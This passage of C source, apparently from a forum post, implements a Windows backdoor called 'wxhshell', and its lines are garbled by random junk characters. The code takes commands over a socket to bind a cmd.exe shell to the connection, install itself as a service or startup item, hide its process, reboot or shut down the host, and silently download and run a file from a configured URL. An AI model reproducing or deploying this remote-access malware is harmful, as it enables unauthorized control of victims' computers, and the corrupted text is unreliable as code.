    switch(cmd[0]) { Y"l!3^   
  q',a7Tf:  
  // 帮助 0)2lBfHQ&  
  case '?': { Ne9 .wd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RmNF]"3%  
    break; gwqK`ww  
  } |u}sX5/q  
  // 安装 >8AtT=}w  
  case 'i': { 2!6Kzq  
    if(Install()) oNCDG|8z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1$Hf`h2  
    else v<c Hx/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '\_)\`a|  
    break; / 9;Pbxn  
    } v'@LuF'e8  
  // 卸载 ?,8b-U#A1  
  case 'r': { G/ ^|oJ/G  
    if(Uninstall()) ud#8`/!mq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <%Rr-,  
    else (CV=0{]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oaXD^ H\  
    break; C4cg,>P7  
    } plIx""a^h  
  // 显示 wxhshell 所在路径 dk]ro~ [  
  case 'p': { iLI]aZ   
    char svExeFile[MAX_PATH]; uA,{C%?  
    strcpy(svExeFile,"\n\r"); Qv=Z  
      strcat(svExeFile,ExeFile); Z)&HqqT3p  
        send(wsh,svExeFile,strlen(svExeFile),0); 52 A=c1kb  
    break; j,-7J*A~  
    } Oxvw`a#  
  // 重启 Cwh;+3?C|  
  case 'b': { 1lQ1 0J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N}h%8\  
    if(Boot(REBOOT)) f:0n-me  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SYwNx">Bq  
    else { `j$d(+Gv  
    closesocket(wsh); Yt'o#"R)  
    ExitThread(0); #lC{R^SL  
    } %G SSy_c  
    break; OE"Bb   
    } &Os Ritj  
  // 关机 }.vy|^X  
  case 'd': { 1mV0AE538  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LN^8U  
    if(Boot(SHUTDOWN)) !R@4tSu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F"C Yrt  
    else { G<eJ0S  
    closesocket(wsh); FHC7\#p/9Z  
    ExitThread(0); mx4*zj  
    } ATHz~a  
    break; c%!wKoD  
    } BSf"'0I&  
  // 获取shell q}i87a;m  
  case 's': { l:"*]m7o_  
    CmdShell(wsh); n58jB:XR(  
    closesocket(wsh); c53`E U  
    ExitThread(0); R2s>;V.:  
    break; co80M;4  
  } Zv\b`Cf}  
  // 退出 -*2X YTe  
  case 'x': { AlxS?f2w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uSJP"Lw  
    CloseIt(wsh); [  _$$P*  
    break; {LDb*'5Cy  
    } U'G`Q0n  
  // 离开 bYc qscW  
  case 'q': { z;fSd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lg+g:o  
    closesocket(wsh); ;I'/.gW;{  
    WSACleanup(); &L]*]Xz;  
    exit(1); 6%#'X  
    break; zOdKB2_J7  
        } I>#ChV)(#  
  } {SJ7Yfs  
  } &:*+p-!2<  
Uzn|)OfWP  
  // 提示信息 j.}V~Sp*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Xd5e@:Js  
} |/;5|  z  
  } z:5ROlk0  
 F`.7_D  
  return; Dt.Wb&V_w  
} 2v1&%x:y#  
Qu_T&  
// shell模块句柄 VBJ]d|  
int CmdShell(SOCKET sock) e&4u^'+K  
{ vP?S0>gh  
STARTUPINFO si; :q<%wLs  
ZeroMemory(&si,sizeof(si)); J9.p8A^^2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &X,)+ b=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (Nb1R"J `  
PROCESS_INFORMATION ProcessInfo; {{%8|+B  
char cmdline[]="cmd"; ,z )NKt#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'LLx$y.Ei[  
  return 0; 3uG5b8?  
} 9[E$>o"%  
0\nhg5]?  
// 自身启动模式 NV4W2thYo  
int StartFromService(void)  89=JC[c  
{ }zxh:"#K  
typedef struct vXQmEIm  
{ F5[ITK]A4  
  DWORD ExitStatus; an[~%vxw}  
  DWORD PebBaseAddress; +/86w59  
  DWORD AffinityMask; vcU\xk")  
  DWORD BasePriority; Bl\kU8O-  
  ULONG UniqueProcessId;  .OS?^\  
  ULONG InheritedFromUniqueProcessId; }QW~.>`  
}   PROCESS_BASIC_INFORMATION; !>Y\&zA  
Z*)Y:tk)b  
PROCNTQSIP NtQueryInformationProcess; !&jgcw/E  
'/gwC7*-&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qgsE7 ]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g] C3 lf-  
:42;c:85  
  HANDLE             hProcess; GiO#1gA  
  PROCESS_BASIC_INFORMATION pbi; *Q120R  
tF g'RV{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L8xprHgL  
  if(NULL == hInst ) return 0; -JhjTA  
D4]B>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~w9 =Fd6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jTUf4&b-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8Pr7aT:,  
UMi`u6#  
  if (!NtQueryInformationProcess) return 0;  53*, f  
a:^ Gr%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "mK i$FV  
  if(!hProcess) return 0; qq7X ",s  
:`^3MMLO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; : tqm2t  
#iU8hUbo  
  CloseHandle(hProcess); c ^bk:=uj  
A1t~&?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XL/o y'_  
if(hProcess==NULL) return 0; [gns8F#H\  
ZWhmO=b!  
HMODULE hMod; fQy C6C  
char procName[255]; ie~fQ!rf  
unsigned long cbNeeded; ^N2M/B|0  
.0fh>kQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ssyd8LC#  
i Kk"j   
  CloseHandle(hProcess); XZdr`$zf  
zPh\3B  
if(strstr(procName,"services")) return 1; // 以服务启动 Xz .Y-5)  
u !3]RGJ  
  return 0; // 注册表启动 -llx:  
} d O46~  
MjXE|3&  
// 主模块 =Wk/q_.  
int StartWxhshell(LPSTR lpCmdLine) ,WB_C\.#XN  
{ 7}cDGdr  
  SOCKET wsl; 7Cd_zZ  
BOOL val=TRUE; |!?WQ[  
  int port=0; E_D ^O  
  struct sockaddr_in door; 0+<eRR9 -  
Ph#F<e(9  
  if(wscfg.ws_autoins) Install(); G]mWaA  
{`H<=h__  
port=atoi(lpCmdLine); GKyG #Fl  
;w6fM  
if(port<=0) port=wscfg.ws_port; puS&S *  
E<<p_hX8R  
  WSADATA data; oO#xx)b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P wB g  
phgexAq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QOV}5 0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 45+%K@@x  
  door.sin_family = AF_INET; hH1lgc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *m$PH"  
  door.sin_port = htons(port); %/y`<lJz(  
S~k*r{?H})  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cx+WLD  
closesocket(wsl); a4T~\\,dZ>  
return 1; |/;U)M  
} Lvi[*une|  
-*|:v67C&  
  if(listen(wsl,2) == INVALID_SOCKET) { xEVLE,*?>  
closesocket(wsl); #`La|a.-  
return 1; =9pw uH  
} e2k4[V  
  Wxhshell(wsl); H\fcY p6  
  WSACleanup(); wy{\/?~c  
hI|/>4<  
return 0; -]Q(~'a  
wqlcLIJPR  
} Mny'9hsl  
mG831v?  
// 以NT服务方式启动 K DYYB6|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u R\m`  
{ 6ORY`Pe7P|  
DWORD   status = 0; M%$ DT  
  DWORD   specificError = 0xfffffff; 'lhP!E_)q  
 9<|m4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K1T1@ j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +7Yu^&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u12zRdn  
  serviceStatus.dwWin32ExitCode     = 0; t`"^7YFS>  
  serviceStatus.dwServiceSpecificExitCode = 0; LBiowd[  
  serviceStatus.dwCheckPoint       = 0; 6hkkNXqkf  
  serviceStatus.dwWaitHint       = 0; D@8jGcz62  
Tu]&^[B('  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NJ ZXs_%>$  
  if (hServiceStatusHandle==0) return; of9q"h  
cYGRy,'gH  
status = GetLastError(); J &!B|TS  
  if (status!=NO_ERROR) k$C"xg2  
{ ZCm1+Y$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kb}MF9?:e  
    serviceStatus.dwCheckPoint       = 0; _6;<ow  
    serviceStatus.dwWaitHint       = 0; NQ? x8h3  
    serviceStatus.dwWin32ExitCode     = status; c~P)4(udT  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~&1KrUu&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ezp<@'0ZT  
    return; ~}BJ0P(VMc  
  } /H')~!Yz  
bA9CO\Pp`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i 'qMi~{  
  serviceStatus.dwCheckPoint       = 0; +%P t_  
  serviceStatus.dwWaitHint       = 0; p ZtgIS(3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |U#DUqw  
} ITONpg[f  
1t+%Gv^sK  
// 处理NT服务事件,比如:启动、停止 [*Q-nZ/L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [4p=X=B  
{ dY8(nQG  
switch(fdwControl) N[pZIH5ho=  
{ L[rpb.'FG  
case SERVICE_CONTROL_STOP: E#8_hT]5  
  serviceStatus.dwWin32ExitCode = 0;  l^P#kQA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "%VbI P  
  serviceStatus.dwCheckPoint   = 0; AM'gnP>  
  serviceStatus.dwWaitHint     = 0; hyfR9~  
  { \^LWCp,C"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t:>x\V2m  
  } &pM'$}T*  
  return; Zd[OWF  
case SERVICE_CONTROL_PAUSE: "A;s56}'&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V$(/0mQV(  
  break; u, eZ6  
case SERVICE_CONTROL_CONTINUE: &'s^nn]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z'Q*L?E8M  
  break; ,t1vb3  
case SERVICE_CONTROL_INTERROGATE: }p=g*Zo*C;  
  break; H-(q#?:  
}; bg}+\/78#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2U}m RgJu  
} %hc'dZ  
zI^Da!r.  
// 标准应用程序主函数 yxwWj>c  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9${Xer'  
{ :I \9YzSs@  
'z5h3J  
// 获取操作系统版本 mRwT_(;t  
OsIsNt=GetOsVer(); i.y=8GxY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W`rMtzL5  
DK6? E\<  
  // 从命令行安装 MS*G-C  
  if(strpbrk(lpCmdLine,"iI")) Install(); %v{1# ~u  
OP%?dh]  
  // 下载执行文件 ~zF2`.  
if(wscfg.ws_downexe) { ,gMy@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ybQP E/9  
  WinExec(wscfg.ws_filenam,SW_HIDE); (?3[3 w~  
} ka/XK[/'  
DI1(`y  
if(!OsIsNt) { %WGuy@tL  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dx-KMiQ,"(  
HideProc(); 3~Qd)j"<  
StartWxhshell(lpCmdLine); gsPl _  
} nX^1$')gp  
else _<zfQZai  
  if(StartFromService()) %}&(h/= e  
  // 以服务方式启动 "NzD1k6.L  
  StartServiceCtrlDispatcher(DispatchTable); Wto ;bd  
else ?D|\]0eN  
  // 普通方式启动 = 96P7#%  
  StartWxhshell(lpCmdLine); {2 %aCCV  
WR#0<cz(  
return 0; A6{b?aQ  
}
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只看该作者 1 发表于: 2006-10-10
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